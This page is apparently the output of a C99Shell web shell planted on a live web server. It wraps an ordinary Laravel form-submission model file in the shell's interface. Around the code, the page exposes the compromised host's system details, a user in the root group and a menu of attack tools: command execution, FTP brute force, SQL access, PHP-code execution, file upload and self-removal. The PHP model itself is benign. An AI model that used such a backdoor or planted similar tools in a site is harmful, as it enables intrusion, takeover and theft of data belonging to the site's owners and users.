!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/FormBuilder/Entities/   drwxr-xr-x
Free 26.47 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Submission.php (7.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\FormBuilder\Entities;

use 
App\Models\Model;
use 
Illuminate\Support\HtmlString;
use 
Illuminate\Support\Str;

class 
Submission extends Model
{
    
/**
     * The table name
     *
     * @var string
     */
    
protected $table 'form_submissions';

    
/**
     * The attributes that are not assignable.
     *
     * @var array
     */
    
protected $guarded = [
        
'id''created_at''updated_at',
    ];

    
/**
     * The attributes that should be casted to another data type
     *
     * @var array
     */
    
protected $casts = [
        
'content' => 'array',
    ];

    
/**
     * A Submission may belong to a User
     *
     * @return Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function user()
    {
        return 
$this->belongsTo(config('formbuilder.models.user'));
    }

    
/**
     * A Submission belongs to a Form
     *
     * @return Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    
public function form()
    {
        return 
$this->belongsTo(Form::class);
    }

    
/**
     * Get the forms that belong to the provided user
     *
     * @param User $user
     * @return Illuminate\Contracts\Pagination\LengthAwarePaginator
     */
    
public static function getForUser($user)
    {
        return static::
where('user_id'$user->id)->with('form')->latest()->paginate(100);
    }

    
/**
     * Load the values the user provided in this submission into the json of the form
     * so that when we render the form, the user's previous values are pre-filled
     *
     * @return void
     */
    
public function loadSubmissionIntoFormJson(): void
    
{
        
$submission_content $this->content;

        
$n collect($this->form->form_builder_array)
            ->
map(function ($entry) use ($submission_content) {
                if (
                    !empty(
$entry['name']) &&
                    
array_key_exists($entry['name'], $submission_content)
                ) {
                    
// the field has a 'name' which means it is not a header or paragraph
                    // and the user previously have an entry for that field in the $submission_content
                    
$current_submitted_val $submission_content[$entry['name']] ?? '';
                    if (
$entry['type'] == 'file') {
                        
$array explode("/"$current_submitted_val);
                        
$entry['data-title'] = end($array);
                        
$current_submitted_val asset('public' DIRECTORY_SEPARATOR 'uploads' DIRECTORY_SEPARATOR $current_submitted_val);
                        
$entry['data-url'] = $current_submitted_val;
                    }

                    if ((empty(
$entry['value']) && empty($entry['values']))) {
                        
// for input types that do not get their values from a 'values' array
                        // set the staight 'value' string and move on
                        
$entry['value'] = $current_submitted_val;
                    } else if (!empty(
$entry['values'])) {
                        
// this will hold what will think is the value of the 'other' input
                        // in a checkbox-group that allows the 'other' option
                        
$otherInputVal null;

                        
// manipulate the values array so we can preselect the entries that
                        // were chosen in the submission we have on file.
                        
if (is_array($current_submitted_val)) {
                            
$entry['values'] = collect($entry['values'])
                                ->
map(function ($v) use ($current_submitted_val) {
                                    
// if this value in the 'values' array is in the
                                    // previous selection made by the user in their
                                    // submission, we will add the selected and checked
                                    // flag to the value so that it will be pre-selected
                                    // when we render the form
                                    
if (in_array($v['value'], $current_submitted_val)) {
                                        
$v['selected'] = true;
                                        
$v['checked'] = 'checked';
                                    }

                                    return 
$v;
                                })
                                ->
toArray();
                        }

                        
// check if the 'other' input option is available
                        
if (!empty($entry['other']) && $entry['other'] === true) {
                            
// let's attempt to get the value that was provided via the
                            // 'other' input field of a checkbox-group
                            // get the submitted value that is not part of the 'values'
                            // array for this entry
                            
$values_names collect($entry['values'])
                                ->
map(function ($v) {
                                    return 
$v['value'];
                                })
                                ->
toArray();

                            
$other collect($current_submitted_val)
                                ->
filter(function ($sv) use ($values_names) {
                                    return !
in_array($sv$values_names);
                                })
                                ->
values();

                            
$otherInputVal $other[0] ?? null;
                        }

                        
// still set the value on the entry as we have it
                        
$entry['value'] = $otherInputVal ?? $current_submitted_val;
                    } elseif (!empty(
$entry['value']) && isset($submission_content[$entry['name']]) && $submission_content[$entry['name']]) {
                        
$entry['value'] = $submission_content[$entry['name']];
                    }
                }

                return 
$entry;
            });
        
$this->form->form_builder_json $n;
    }

    
/**
     * Turn the current value we are trying to display to string we can actually display
     *
     * @param string $key
     * @param string $type the type of the input type that this key belongs to on the form
     * @param boolean $limit_string
     * @return Illuminate\Support\HtmlString
     */
    
public function renderEntryContent($key$type null$limit_string false): HtmlString
    
{
        
$str '';

        if (
            !empty(
$this->content[$key]) &&
            
is_array($this->content[$key])
        ) {
            
$str implode(', '$this->content[$key]);
        } else {
            
$str $this->content[$key] ?? '';
        }

        if (
$limit_string) {
            
$str Str::limit($str20'');
        }

        if (
$type == 'date' && isset($this->content[$key])) {
            
$str timeZoneFormatDate($this->content[$key]);
        }

        
// if the type is 'file' then we have to render this as a link
        
if ($type == 'file') {
            if (isset(
$this->content[$key])) {
                
$file_link asset('public' DIRECTORY_SEPARATOR 'uploads' DIRECTORY_SEPARATOR $this->content[$key]);
                
$str "<a href='{$file_link}' target='__blank'><i class='feather icon-file-text mr-1'></i>" __('Show file') . "</a>";
            } else {
                
$str __('No file');
            }
        }

        return new 
HtmlString($str);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--